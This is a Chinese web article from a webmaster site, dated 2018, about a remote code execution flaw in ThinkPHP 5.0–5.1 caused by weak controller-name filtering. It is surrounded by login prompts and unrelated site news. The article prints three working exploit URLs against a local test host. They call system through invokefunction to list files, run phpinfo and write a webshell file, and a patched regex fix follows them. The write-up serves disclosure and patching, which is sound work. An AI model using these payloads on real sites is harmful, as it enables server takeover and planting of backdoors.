账号密码登录
微信安全登录
微信扫描二维码登录

登录后绑定QQ、微信即可实现信息互通

手机验证码登录
找回密码返回
邮箱找回 手机找回
注册账号返回
其他登录方式
0
thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell
2018-12-16 12:47:13 浏览:270次 【

THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

全部评论(0)
  • DedeCMS官方发布了《关于提醒办理 DedeCMS产品商业使用授权的通告》。公告称,根据DedeCMS授权协议,除个人非营利网站外,均需购买DedeCMS商业使用授权,授权费为人民币5800元。站长如果想要避免侵权使用Dedecms,目..

    ad5浏览:647次 评论:0
    2021-09-28 01:04
  • 最近松松编辑杰哥从站长圈了解到,Com 域名又要涨价了,后面不论是注册,续费,转入等各项业务的费用都上涨大约3.4895人民币,9月开始正式实行,有域名快到期的,建议个人站长在9月之前赶紧续费!根据杰哥深入了解,..

    iss浏览:626次 评论:0
    2021-08-07 23:26
  • 最近松松团队负责技术的同事任经理跟杰哥爆料,昨天整理公司域名偶然发现,各大域名商都没有.win顶级域名了,都将开始不在提供.win顶级域名服务,国内现有.win顶级域名也将转移到海外注册商。根据松松团队任经理提供..

    iss浏览:649次 评论:0
    2021-07-03 10:20
  • 最近松松编辑杰哥从站长圈了解到,头条站长平台最近有新动作了,SiteMap提交功能全新升级,网站不备案也可以提交SiteMap了,相比百度改版后限制未备案网站一天提交一条SiteMap限额,对于很多个人站来讲头条这波可以..

    iss浏览:617次 评论:0
    2021-06-30 20:39
  • 最近,松松编辑杰哥从站长圈了解到,阿里云备案难度又升级了,针对备案阿里云准备开始试验采用钉钉视频人脸核验检验机制,备案这玩意越来越难搞了!根据杰哥了解,这波视频核验申请备案试验流程大致如下:首先需要在阿..

    iss浏览:614次 评论:0
    2021-06-28 19:58
  • 最近松松编辑杰哥了解到,网赚圈内一个搞QQ号买卖业务的团队最近摊上大事了,因为涉及为多个灰产团队提供QQ号服务,非法盈利200多万,整个产业链人员全部被抓!根据杰哥得知,这伙买卖QQ号被抓的团队,主要业务就是搞..

    iss浏览:485次 评论:0
    2021-06-18 19:36
  • 最近松松编辑杰哥从外媒了解到,全球知名免费CMS建站系统"WordPress"团队宣布,截止到2021年WordPress在全球CMS建站系统市场占有率,相比2019再度上升,占据全球CMS建站系统40%市场份额! 根据杰哥了解,WordPres..

    zzw浏览:551次 评论:0
    2021-06-05 02:02
  • 奇安信网站卫士内部群通知业务更新,要求使用360cdn的 网站用户2020-09-01 前更新接入域名的解析记录,转向奇安信,不然会影响网站正常访问!从360和奇安信分家,奇安信接管360网站卫士后,不仅把原360网站卫士的QQ群..

    ad5浏览:890次 评论:0
    2020-06-18 02:09
  • 做网站赚不到钱,只能怪自己没技术。可谁又能想到做网站还要赔钱呢?当网站因图片侵权被起诉了,这才意识到,如今的互联网从业环境是多么的险恶。没有流量的小网站,且早已经处于闲置状态,仅仅是服务器没到期,就想着,没人..

    ad5浏览:888次 评论:0
    2020-06-18 02:08
作者专栏
  • 2026

    注册时间:2026-01-01 16:51

  • slirdLRUgKqcnaIAvOhyV

    注册时间:2025-12-31 21:12

  • 起个笔名

    注册时间:2025-12-31 18:28

  • yjxsy

    注册时间:2025-12-29 23:11

  • 信晓文

    注册时间:2025-12-29 13:37

Copyright@ all rights reserved
闽ICP备2025087700号-1
Powered by qibosoft Code © 2018 qibosoft
联系电话:020-28998648 @广州齐博网络科技有限公司